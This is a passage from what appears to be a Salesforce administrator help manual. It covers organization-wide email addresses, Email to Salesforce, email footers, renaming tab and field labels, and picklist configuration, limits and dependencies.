Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot
delete or change an organization-wide email address if it is used by an email alert.

See Also:
Managing Profiles
Managing Organization-Wide Email Footers

Defining Organization-Wide Addresses


Available in: All Editions

User Permissions Needed


To configure organization-wide addresses: “Modify All Data”

To define an organization-wide address for a user profile:

1. Click Setup ➤ Email Administration ➤ Organization-Wide Addresses.


2. Click Add.
3. Enter a Display Name. The display name identifies how your name appears on outbound emails. The maximum length
is 300 characters.
4. Enter the Email Address you would like to use as an alias. This can be any standard email address. The maximum length
is 270 characters.
5. Select Allow All Profiles to Use this From Address if you want every user profile in your organization to
be able to use the new From address. Otherwise, select Allow Only Selected Profiles to Use this From
Address to choose from existing user profiles.
6. Click Save to save your changes, or Save and New to define another organization-wide address. A verification email is
sent to the new email address which includes a link that you click to complete the verification process. The From address
will not be available for use until you access the email and click this link. Click Cancel to return to the previous page
without saving.
Note: You cannot delete or change an organization-wide email address if it is used by an email alert.

To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from
the drop-down list.

See Also:
Managing Profiles

784
Email Administration Enabling Email to Salesforce

Enabling Email to Salesforce


Available in: All Editions

User Permissions Needed


To enable or disable Email to Salesforce: “Modify All Data”

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
When working with Email to Salesforce, note the following:

• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.
• If you use Gmail, see Using Gmail in Salesforce.com on page 310 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.
• Email to Salesforce.com is required to use the Add Email feature with Salesforce CRM for Outlook. Disabling one feature
will automatically disable the other.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.

To enable Email to Salesforce for your organization:

1. Click Setup ➤ Email Administration ➤ Email to Salesforce.


2. Click Edit.
3. Select the Active checkbox.
4. Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the
legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols
to verify the sender's legitimacy:

• SPF
• SenderId
• DomainKeys

785
Email Administration Deleting Email Attachments Sent as Links

If the sending server passes at least one of these protocols and does not fail any, Email to Salesforce accepts the email. If
the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email.
Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect
to use Email to Salesforce support at least one of the authentication protocols listed above.

5. Click Save.
6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step.

After enabling Email to Salesforce, Salesforce.com creates a unique Email to Salesforce address for each user. Users can click
Setup ➤ Email ➤ My Email to Salesforce to view their unique Email to Salesforce address and customize their settings. For
more information, see Using My Email to Salesforce Address on page 216.

See Also:
What are Email Services?
Using Gmail in Salesforce.com

Deleting Email Attachments Sent as Links


Available in: All Editions

User Permissions Needed


To delete email attachments sent as links: “Modify All Data”

You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message
asking them to contact the email sender to view the attachment. You can search only within your organization's email retention
period (typically 30 days, but contact salesforce.com Support for your organization's details).
To find and delete email attachments sent as links:

1. Click Setup ➤ Email Administration ➤ Attachments Sent as Links


2. Enter either of these:

• File name (optional), username, and date range:

- Optionally, attachment file name, including the file extension (for example, ThisYearResults.pdf). You can
use wildcards (for example, ThisYearRes would find ThisYearResults.pdf).
- Sender's username
- Date range during which the email was sent

• Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the
URL.

3. Click Search.

• Search results show up to 100 matching entries.

786
Email Administration Managing Organization-Wide Email Footers

• If the attachment was sent using mass email, search results show one entry for every 100 emails sent—delete one of
these entries to delete the attachment.

4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment
link see a message asking them to contact the email sender to view the attachment.
Note: You cannot recover deleted attachments from the Recycle Bin.

Managing Organization-Wide Email Footers


Available in: All Editions

User Permissions Needed


To create and edit email footers: “Modify All Data”

You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from
Salesforce.com or the API. You can create a separate email footer for each encoding and choose default footers for single and
mass email. The defaults are used when no footer matches an outgoing email's encoding.

Creating Email Footers


1. Click Setup ➤ Email Administration ➤ Email Footers.
2. Click New.
3. Enter a name.
4. Choose if you want the footer to be available for single emails, mass emails, or both.
5. Select the email encoding. The email encoding determines which emails the footer appears on. For each encoding you can
have one active single email footer and one active mass email footer.
6. Enter the text of the footer.
Note: Footers are text only; HTML tags aren't rendered. Maximum is 32 KB.

Editing Email Footers


1. Click Setup ➤ Email Administration ➤ Email Footers.
2. To edit an email footer, either click Edit next to a footer or on the footer detail page.
3. Edit the footer information and click Save.

Choosing Default Email Footers


You can choose one default footer for single email and one for mass email. These defaults are used when no footer matches
an outgoing email's encoding.
1. Click Setup ➤ Email Administration ➤ Email Footers.

787
Customize Customization Overview

2. Using Default for Single Mail and Default for Mass Mail, select default footers.
3. Click Save.
Note: If you don't click Save, your default footer choice is lost when you leave the page.

Deactivating Email Footers


You can deactivate an email footer without deleting it.
1. Click Setup ➤ Email Administration ➤ Email Footers.
2. Uncheck the Single and Mass checkboxes next to the footer.
3. Click Save.

CUSTOMIZE

Customization Overview
The available customization options vary according to which Salesforce.com Edition you have.

User Permissions Needed


To view setup options: “View Setup and Configuration”
To customize your organization: “Customize Application”

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce.com for your organization, you can customize the display of the various tabs and other items. Click Setup
➤ Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce.com tabs and fields.

Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.

Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.

788
Customize Customization Overview

Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.

Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.

Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.

Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.
Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.

Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.

Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.

Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links.

Quote Line Items


(Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on
quote line item pages.

Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.

789
Customize Customization Overview

Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.

Case Team
(Located under Cases) Define case teams and case team roles for your organization.

Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.

Case Comments
(Located under Cases) Create triggers for case comments.

Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.

Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.

Entitlement Contacts
(Located under Entitlements) Customize the standard fields.

Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.

Contract Line Items


(Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control
the layout of fields, related lists, custom links, and create record types.

Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.

Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.

Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.

Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

790
Customize Customization Overview

Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.

Partners
Configure your partner portal or PRM Portal settings.

Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce.com organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.com.
Also, customize default template used for the email and logo used for the survey.

Customer Portal
Enable the Customer Portal for your organization.

Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.

Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.

Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.

Users
Create custom fields and custom links for users.

Console
Create console layouts that display pertinent information to users.

Tags
Enable personal and public tags for your organization. You can also delete personal tags.

Reports & Dashboards


Customize user interface and email settings for reports and dashboards.

Search
Optimize search settings for your organization.

791
Customize Renaming Tab and Field Labels

User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.

See Also:
Customizing Home Tab Page Layouts
Customizing Fields
Setting Custom Buttons and Links
Managing Page Layouts
Managing Multiple Business Processes
Managing Record Types
Managing Folders
Renaming Tab and Field Labels

TAB SETTINGS

Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels: “Customize Application”
OR
“View Setup and Configuration”
AND
Be designated as a translator

To reset renamed tabs: “Customize Application”


OR
“View Setup and Configuration”
AND
Be designated as a translator

You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the “Accounts” label to “Companies,” the

792
Customize Renaming Tab and Field Labels

new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators.

1. Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels.
2. Select your default language from the Select Language drop-down list at the top of the page.
Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not
supported and verbs can lose gender agreement.

3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its
original name.
Note: You cannot reset custom object tab names.

4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a
vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as “a” or “an”) is used.
Then click Next.
A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab.
5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both
a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for
labels that start with a vowel.
If your organization uses person accounts, see Renaming Person Account Labels on page 794.
Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming
because they track system information.

6. Click Save.
7. Repeat this procedure to translate labels into all other languages used in your organization.

Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, custom fields, and list views
that contain the original name. You can modify labels using the Translation Workbench. To rename a standard report,
click Save As from the report wizard and save it to a report folder designed for your new name.

Other tab customization options include the following:

• Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing
Your Display on page 34.
• In addition to the standard tabs provided by Salesforce.com, users can create entirely new custom tabs depending on their
Edition. For more information, see Defining Custom Tabs on page 1394.
• In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when
a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home
Pages on page 996.

793
Customize Renaming Tab and Field Labels

Renaming Person Account Labels

Person accounts available in: Enterprise, Unlimited, and Developer Editions

If your organization uses person accounts, you can rename the following standard field labels:

Field Tab Description


Business Account Accounts An account that is not a person account because it does not
have a record type specific to person accounts. This label is
primarily used to clarify the type of accounts you are
importing.
Person Account Accounts A person account. For more information, see below.
Business Contact Contacts A contact that is associated with a business account. This label
is primarily used to clarify the type of accounts you are
importing.

When you rename the Person Account field label, the renamed label appears in Salesforce.com as follows:
• As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For
example, Person Account: Birthdate is available as an account column in opportunity reports.
• In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to
“Consumer,” then Is Person Account becomes Is Consumer.
Note: The Person Account and Business Account field labels are completely independent from actual record
type names. To customize person account record types, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts
➤ Record Types. To customize business account record types, click Setup ➤ Customize ➤ Accounts ➤ Record
Types.

See Also:
Replacing Salesforce.com Online Help
Customization Overview
What is a Person Account?

794
Customize Considerations for Renaming Tab and Field Labels

Considerations for Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels: “Customize Application”
To reset renamed tabs: “Customize Application”

Renaming standard and custom Salesforce.com tabs, objects, fields, and other related user interface labels is a valuable feature
that has far-reaching implications for all your users. Before renaming anything for your organization, review the following
considerations to determine how it will affect your users:

• Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming.
Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels to view a list of the tabs and objects
you can rename.
• The renamed labels display on all user pages in Salesforce.com including Personal Setup. However, all pages in the Setup
area use the default, original labels.
• Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they
track system information.
• After renaming tabs, objects, or fields, check the following additional items that may need manual updates:

- Review all list view names. List view names continue to display the original object name until you change them manually.
- Check standard report names and descriptions for the objects you renamed.
- Update the titles and descriptions of any email templates that contain the original object or field name.
- Manually change any other items you customized with the standard object or field name. For example, custom fields,
page layouts, and record types may contain the original tab or field name.

• Connect for Outlook and Connect Offline use your new names.
• If you have renamed tabs, objects, or fields, you can also replace the Salesforce.com online help with another URL. Users
can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup.
After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages
will continue to display Salesforce.com online help. For instructions on replacing the online help, see Replacing
Salesforce.com Online Help on page 1256.
• In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and
verbs can lose gender agreement.

See Also:
Renaming Tab and Field Labels

795
Customize Customizing Fields

FIELDS

Customizing Fields
Available in: All Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
To change standard fields: “Customize Application”

Customize fields to tailor Salesforce.com to your organization’s unique requirements. You can:

• Modify some aspects of standard fields


• Change or add values to standard and custom picklist fields
• Define dependency rules between fields
• Create custom fields to capture additional information
• Create formula fields that automatically calculate values based on the contents of other fields
• Define default values for custom fields
• Define validation rules for your fields
• Make a field required everywhere in Salesforce.com
• Set fields to track changes, including the date, time, nature of the change, and who made the change
• Create page layouts to control the display of fields
• Set field-level security to control access to fields in Enterprise, Unlimited, and Developer Editions

See Also:
Creating Custom Fields
Viewing Fields
Overview of Relationships
Creating a Many-to-Many Relationship

796
Customize Customizing Standard Fields

Customizing Standard Fields


Available in: All Editions

User Permissions Needed


To change standard fields: “Customize Application”

You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking
field history, lookup filters on relationship fields, and field-level help.
In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.

See Also:
Creating Custom Fields
Modifying Standard Auto-Number Fields
Viewing Fields
Setting Field-Level Security
Tracking Field History

Modifying Standard Auto-Number Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify standard auto-number fields: “Customize Application”

The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique
number with a specified format upon creation. You can modify the format and numbering for these auto-number fields.

1. Click Setup ➤ Customize, select the appropriate tab link, and then click the Fields link.
2. Click Edit next to the name of the field in the Standard Fields list.
3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix
or suffix for the number. See Custom Field Attributes on page 817.
Format changes do not affect existing records; they are applied only to new records.
4. Enter the number to be assigned to the next record that is created after you save your changes.
5. Click Save.

797
Customize Modifying Picklists

Caution: Salesforce.com warns you if the next number you enter is not higher than existing numbers. However, it
may be possible to create duplicate numbers if you change the auto-number format multiple times using similar formats
each time.

See Also:
Custom Field Types

Modifying Picklists
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

Customized selection lists, or “picklists,” let users pick values from a predefined list of entries. You can update the entries in
standard and custom picklists; see Updating Picklists on page 798.
To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record
Types on page 1004.
Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list
of picklist values.

See Also:
Sorting Picklists
Replacing Picklists
Defining Dependent Picklists

Updating Picklists
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

To update any standard or custom picklist field:

1. Navigate to the fields page for your object. For example, for account fields, click Setup ➤ Customize ➤ Accounts ➤
Fields.

798
Customize Modifying Picklists

For custom objects, click Setup ➤ Create ➤ Objects, then click the name of an object.
2. Click the name of the picklist you want to update.
3. In the Picklist Values section, click Edit next to a value.
4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You
can also assign a color for use in charts by clicking the button. To assign a color dynamically when a chart is generated,
click Assign color dynamically.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

Tip:

• Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that
you can edit.
• If you use record types, changing the default value of the master picklist does not affect the default value of the
picklist for a record type.
• For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the
default value on the Salesforce CRM Ideas pages.
• If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is
automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source
equals Email or Web and you change the picklist value Web to Referral, your report filter will change
to Lead Source equals Email. If the changed picklist value was the only value specified for a particular
filter, it will continue to show up in your report filters, but an error will display on the report wizard.

5. Click Save.

Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out
of date whenever you change picklist values.

See Also:
Modifying Picklists
Picklists with Additional Information
Picklist Limitations
Additional Options for Updating Picklists

Additional Options for Updating Picklists


Use the following options to edit picklist values.

• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change
additional information.
• Click Del next to a value to remove it from the picklist.
Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Status—may
prompt you to map the deleted value to another existing value in all of your organization’s records. You can map the values
or leave your existing data unchanged.

799
Customize Modifying Picklists

• Click New to add values to the picklist. If you use record types, select any record types that you want to include the new
values.
• Click Reorder to change the sequence of picklist values.
• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:

- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as “Assigned
dynamically.”
Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master
picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master
picklist values across record types, see Managing Record Types on page 1004.

See Also:
Custom Field Attributes
Modifying Picklists
Updating Picklists

Picklists with Additional Information


These standard picklist fields have additional information that you can edit.

Picklist Description
Partner Role (for accounts) Roles of account partners, for example, Consultant, Supplier.
These options are available when you add an account to the
Partners related list of an account or opportunity.
To edit, click Setup ➤ Customize ➤ Accounts ➤ Partner
Roles.
Enter the name of the partner role in the “Role” column. In
the “Reverse Role” column, enter the corresponding reverse
partner role. Assigning a partner role to an account creates a

800
Customize Modifying Picklists

Picklist Description
reverse partner relationship so that both accounts list the other
as a partner.
Each role and reverse role value can have up to 40 characters.

Priority (for cases) Urgency of case, for example, Low, High.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
cases.
Each picklist value can have up to 40 characters.

Status (for campaign members) State of a campaign member, for example, Sent or Responded.
If you delete a Status value, you have the option to map the
deleted value to another existing value. The new replacement
value is automatically added to the member status for
campaigns that contained the deleted value.
If the deleted value is the default member status for a
campaign, the new replacement value becomes the default
status for that campaign.

Status (for cases) State of case, for example, New, On Hold.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
cases.
Each picklist value can have up to 40 characters.

Status (for contracts) State of the contract in the contract business process. You can
add values to this picklist and organize each value into one of
several categories, for example, “Draft,” “In Approval Process,”
or “Activated.” Then sort your contracts using these categories
in reports and views.
Contact Role (for contracts) Role of a contact on a contract, for example, Business User,
Decision Maker. These options are available when you add a
contact to the Contact Roles related list of a contract.
To edit, click Setup ➤ Customize ➤ Contracts ➤ Contact
Roles.
Each picklist value can have up to 40 characters.

Lead Status (for leads) State of the lead, for example, Open, Qualified.
Select one value as the “Default Status” assigned to all new
leads created manually, via the import wizard, or via your
website. Select one or more values as the “Converted Status”
assigned to converted leads. When you convert qualified leads
into an account, contact, and opportunity, you can select one

801
Customize Modifying Picklists

Picklist Description
of the “Converted” statuses to assign to the lead. Leads with
a “Converted” status type are no longer available in the Leads
tab, although you can include them in reports.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
leads.
Each value can have up to 20 characters.

Contact Role (for opportunities) Role of a contact for an opportunity, for example, Business
User, Decision Maker. These options are available when you
add a contact to the Contact Roles related list of an
opportunity.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Contact Roles.
Each picklist value can have up to 40 characters.

Stage (for opportunities) Sales process stages, for example, Prospect, Proposal. This
picklist also affects the Type and Forecast Category
values of an opportunity. Specifically, changing the Type or
Forecast Category for a Stage picklist value updates all
opportunities that have that stage value.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Fields, and select Edit next to the field.
To deactivate an active stage, click Del next to the stage. On
the mapping page, don't replace the stage with another existing
value; just click Save. The stage now appears in the Inactive
Stage Picklist Values related list. The stage is no longer in use
but may exist in older opportunity records.

Status (for solutions) Status of a solution, for example, Draft, Reviewed. Mark one
or more values as “Reviewed.” When users solve cases using
solutions, they can view which solutions have been reviewed
and which have not. Each picklist value can have up to 40
characters.
Priority (for tasks) Importance of the task, for example, High, Normal, Low. Set
one value as the default priority of all new tasks, and one value
as the highest priority.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 20 characters.

802
Customize Modifying Picklists

Picklist Description
Status (for tasks) State of a task, for example, Not Started, Completed. Choose
at least one value as the “Closed” status and one value as the
“Default” status for all new tasks.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 40 characters.

Task Type (for tasks) Send Email Default specifies the default task type
assigned when the task is sending email or mass email.
Default specifies the default picklist value when creating
tasks.

See Also:
Modifying Picklists
Picklist Limitations

Picklist Limitations
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

The maximum number of entries you can have in a standard or custom picklist is determined by the total number of characters
allowed in the picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are
not visible. These two additional characters per entry are counted as part of the 15,000 character limit.
Additional limits apply to both standard and custom picklists.

Additional Limits for Standard Picklists


For standard picklists, entries can be up to 40 characters, not including linebreaks and returns. For standard multi-select
picklists, the total number of characters for all entries cannot exceed 255.
For standard picklists in organizations that use record types or the Translation Workbench, you can have an unlimited number
of entries with the following exceptions for special picklists:

Picklist Field Maximum Number of Entries


Lead Status 100

803
Customize Defining Dependent Picklists

Picklist Field Maximum Number of Entries


Task Status 100
Task Priority 50
Case Status 100
Case Priority 50
Opportunity Stage 100

Additional Limits for Custom Picklists


Within the 15,000 total character limit, custom picklists can have:
• Up to 1000 entries
• Up to 255 characters per entry
Custom multi-select picklists can have:
• Up to 150 values
• Up to 40 characters per value
Note that for multi-select picklists, users can select up to 100 values at a time on a record.

See Also:
Modifying Picklists

Defining Dependent Picklists


Available in: All Editions

User Permissions Needed


To define dependent picklists: “Customize Application”

To define a dependent picklist:

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies.


3. Click New.
4. Choose a controlling field and dependent field.

804
Customize Defining Dependent Picklists

Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these
fields, see Dependent Picklist Considerations on page 808.

5. Click Continue.
6. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling
field value.
7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how
it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling
field. The record type and the controlling field together determine what values are available in the dependent pickilst. For
example, a dependent value is only available if it is available in the selected record type as well as the selected controlling
value.
Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.

8. Click Save.
9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the
appropriate record types. For instructions on using record types, see Managing Record Types on page 1004.

See Also:
Dependent Picklist Considerations
Editing Dependent Picklists
Deleting Picklist Dependencies

About Dependent Picklists


Available in: All Editions

Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or mutli-select
picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be
any standard or custom picklist (with at least one and fewer than 300 values) or checkbox field on the same record.
For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the
Stage picklist as follows:

• If Stage is Closed Won, the valid values for Reason are Superior features or Lower price.
• If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company
viability.

See Also:
Defining Dependent Picklists
Dependent Picklist Considerations

805
Customize Defining Dependent Picklists

Using the Field Dependency Matrix


Available in: All Editions

User Permissions Needed


To define picklist dependencies: “Customize Application”

The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling
field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values.
Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the
controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value.
To include or exclude values:

• Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values
to exclude them.
• Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to
make the values available, or Exclude Values to remove them from the list of available values.
• Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
• Click a column header to select all the values in that column. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.

To change the values in your view:

• Click View All to view all available values at once.


• Click Go To and choose a controlling value to view all the dependent values in that column.
• Click Previous or Next to view the values in columns that are on the previous or next page.
• Click View sets of 5 to view 5 columns at a time.

Editing Dependent Picklists


Available in: All Editions

User Permissions Needed


To edit field dependencies: “Customize Application”

To edit dependent picklists:

1. Navigate to the fields area of the appropriate object:

806
Customize Defining Dependent Picklists

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies.


3. Click Edit next to the field dependency relationship you want to change.
4. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling
field value.
5. Optionally, click Preview to test your selections.
6. Click Save.

See Also:
About Dependent Picklists

Deleting Picklist Dependencies


Available in: All Editions

User Permissions Needed


To delete picklist dependencies: “Customize Application”

If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the
dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete
the fields or affect their data.
To delete picklist dependencies:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
